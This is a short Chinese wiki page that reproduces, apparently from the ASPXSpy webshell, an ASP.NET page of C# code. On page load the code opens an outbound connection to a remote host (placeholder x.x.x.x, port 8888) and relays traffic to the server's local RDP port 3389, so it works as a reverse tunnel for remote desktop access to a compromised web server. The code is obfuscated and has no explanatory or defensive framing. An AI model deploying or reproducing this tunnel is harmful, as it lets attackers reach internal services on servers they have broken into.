习科小黑板 - Silic Wiki

摘自aspspy
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> 
<%@ import Namespace="System.IO"%> 
<%@ import Namespace="System.Net.Sockets" %> 
<%@ import Namespace="System.Net" %> 
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1f.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<script runat="server"> 
 
public string localip = "127.0.0.1"; 
public string localport="3389"; 
public string remoteip= "x.x.x.x"; 
public string remoteport = "8888"; 
 
public NetworkStream NS=null; 
public NetworkStream NS1=null; 
TcpClient tcp=new TcpClient(); 
TcpClient zvxm=new TcpClient(); 
ArrayList IVc=new ArrayList(); 
protected void Page_load(object sender,EventArgs e) 
{ 
 
 
try{ 
 
ruQO(); 
}catch(Exception exp) 
{ 
Response.Write("except "+exp.Message); 
} 
 
 
} 
 
public class PortForward 
{ 
public string Localaddress; 
public int LocalPort; 
public string RemoteAddress; 
public int RemotePort; 
string type; 
Socket ltcpClient; 
Socket rtcpClient; 
Socket server; 
byte[] DPrPL=new byte[2048]; 
byte[] wvZv=new byte[2048]; 
public struct session 
{ 
public Socket rdel; 
public Socket ldel; 
public int llen; 
public int rlen; 
} 
public static IPEndPoint mtJ(string host,int port) 
{ 
IPEndPoint iep=null; 
IPHostEntry aGN=Dns.Resolve(host); 
IPAddress rmt=aGN.AddressList[0]; 
iep=new IPEndPoint(rmt,port); 
return iep; 
} 
public void Start(string Rip,int Rport,string lip,int lport) 
{ 
try 
{ 
LocalPort=lport; 
RemoteAddress=Rip; 
RemotePort=Rport; 
Localaddress=lip; 
rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); 
ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); 
rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient); 
} 
catch (Exception ex) { } 
} 
protected void iiGFO(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=new session(); 
RKXy.ldel=ltcpClient; 
RKXy.rdel=rtcpClient; 
ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy); 
} 
catch (Exception ex) { } 
} 
protected void VTp(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=(session)ar.AsyncState; 
ltcpClient.EndConnect(ar); 
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy); 
RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy); 
} 
catch (Exception ex) { } 
} 
private void LFYM(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=(session)ar.AsyncState; 
int Ret=RKXy.rdel.EndReceive(ar); 
if (Ret>0) 
ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy); 
else lyTOK(); 
} 
catch (Exception ex) { } 
} 
private void JTcp(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=(session)ar.AsyncState; 
RKXy.ldel.EndSend(ar); 
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy); 
} 
catch (Exception ex) { } 
} 
private void xPS(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=(session)ar.AsyncState; 
int Ret=RKXy.ldel.EndReceive(ar); 
if (Ret>0) 
RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy); 
else lyTOK(); 
} 
catch (Exception ex) { } 
} 
private void IZU(IAsyncResult ar) 
{ 
try 
{ 
session RKXy=(session)ar.AsyncState; 
RKXy.rdel.EndSend(ar); 
RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy); 
} 
catch (Exception ex) { } 
} 
public void lyTOK() 
{ 
try 
{ 
if (ltcpClient!=null) 
{ 
ltcpClient.Close(); 
} 
if (rtcpClient!=null) 
rtcpClient.Close(); 
} 
catch (Exception ex) { } 
} 
} 
protected void vuou() 
{ 
PortForward gYP=new PortForward(); 
gYP.lyTOK(); 
} 
protected void ruQO() 
{ 
PortForward gYP=new PortForward(); 
gYP.Start(remoteip,int.Parse(remoteport),localip,int.Parse(localport)); 
} 
</script>
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